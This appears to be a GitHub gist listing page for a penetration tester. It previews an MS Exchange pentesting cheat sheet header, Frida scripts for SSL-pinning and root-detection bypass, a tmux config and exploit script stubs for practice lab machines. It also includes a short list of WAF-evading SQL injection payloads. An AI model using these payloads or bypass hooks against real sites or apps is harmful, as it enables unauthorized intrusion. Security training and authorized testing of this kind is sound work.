Sources:
[1] Attacking MS Exchange Web Interfaces – PT SWARM (2020)
[2] Arseniy Sharoglazov – Practical Use Cases of Exploiting MS Exchange in External Penetration Tests (PositiveHack Talks Hanoi, Nov 2024)
[3] CVE research + real-world campaign analysis (2021–2025)
Scope: External/Internal authorized penetration testing of on-premises MS Exchange
Warning: For authorized engagements only.
PikaChu cyberheartmi9
cyberheartmi9
/ MS-Exchange-Pentesting-Cheat-Sheet-v3.md
Created
May 3, 2026 21:30
cyberheartmi9
/ Exploit-Development.md
Created
August 26, 2025 12:26
cyberheartmi9
/ test.pdf
Created
March 11, 2025 09:37
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
cyberheartmi9
/ kony.js
Created
September 4, 2024 10:50
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Java.perform(() => { | |
| var inc = 0; | |
| function waitForLibrary(name, callback) { | |
| var lib = null; | |
| var interval = setInterval(() => { | |
| try { | |
| lib = Module.ensureInitialized(name); | |
| console.log(`[+] ${name} is loaded`); | |
| clearInterval(interval); |
cyberheartmi9
/ tmux.conf
Created
February 22, 2024 23:01
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| unbind C-b | |
| set-option -g prefix C-a | |
| bind-key C-a send-prefix | |
| bind | split-window -h | |
| bind - split-window -v | |
| unbind '"' | |
| unbind % | |
| bind r source-file ~/.tmux.conf |
cyberheartmi9
/ gist:c296202c4428b65173b870da8b53a386
Created
January 7, 2024 18:51
— forked from tehseensagar/gist:d82931fa8427b3b8a8825714b5b113c4
SQLi WAF Bypass All Method
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| `-=[SQL injection Queries]=- | |
| HOW TO SUCCESSFULLY INJECTING SQL INJECTION | |
| [~] after id no. like id=1 +/*!and*/+1=0 [~] | |
| EX: site.com?index.php?pageid=3 div+0 Union select 1,version(),3,4,5 | |
| +div+0 | |
| +div false | |
| +Having+1=0+ |
cyberheartmi9
/ XSS-To-RCE.py
Created
September 3, 2023 20:47
OSWE Like Machine: https://pentesterlab.com/exercises/xss_and_mysql_file/course
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import socket | |
| import sys | |
| import random | |
| import string | |
| banner=""" |
cyberheartmi9
/ Tudo-exploit.py
Last active
September 1, 2023 12:59
Tudo Exploit OSWE Like Machine : https://github.com/bmdyy/tudo/tree/main
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import sys | |
| import re | |
| import random | |
| import string | |
| import socket | |
| import time | |
| proxies={"http":"127.0.0.1:8080"} |
cyberheartmi9
/ SecureCode-1.py
Last active
July 9, 2023 20:40
SecureCode-1: https://www.vulnhub.com/entry/securecode-1,651/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import sys | |
| import re | |
| import random | |
| import string | |
| banner=""" |
cyberheartmi9
/ ssl-pinning-root-bypass.js
Created
June 5, 2023 05:07
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // $ frida -l antiroot.js -U -f com.example.app --no-pause | |
| // CHANGELOG by Pichaya Morimoto (p.morimoto@sth.sh): | |
| // - I added extra whitelisted items to deal with the latest versions | |
| // of RootBeer/Cordova iRoot as of August 6, 2019 | |
| // - The original one just fucked up (kill itself) if Magisk is installed lol | |
| // Credit & Originally written by: https://codeshare.frida.re/@dzonerzy/fridantiroot/ | |
| // If this isn't working in the future, check console logs, rootbeer src, or libtool-checker.so | |
| Java.perform(function() { | |
| var RootPackages = ["com.noshufou.android.su", "com.noshufou.android.su.elite", "eu.chainfire.supersu", |
NewerOlder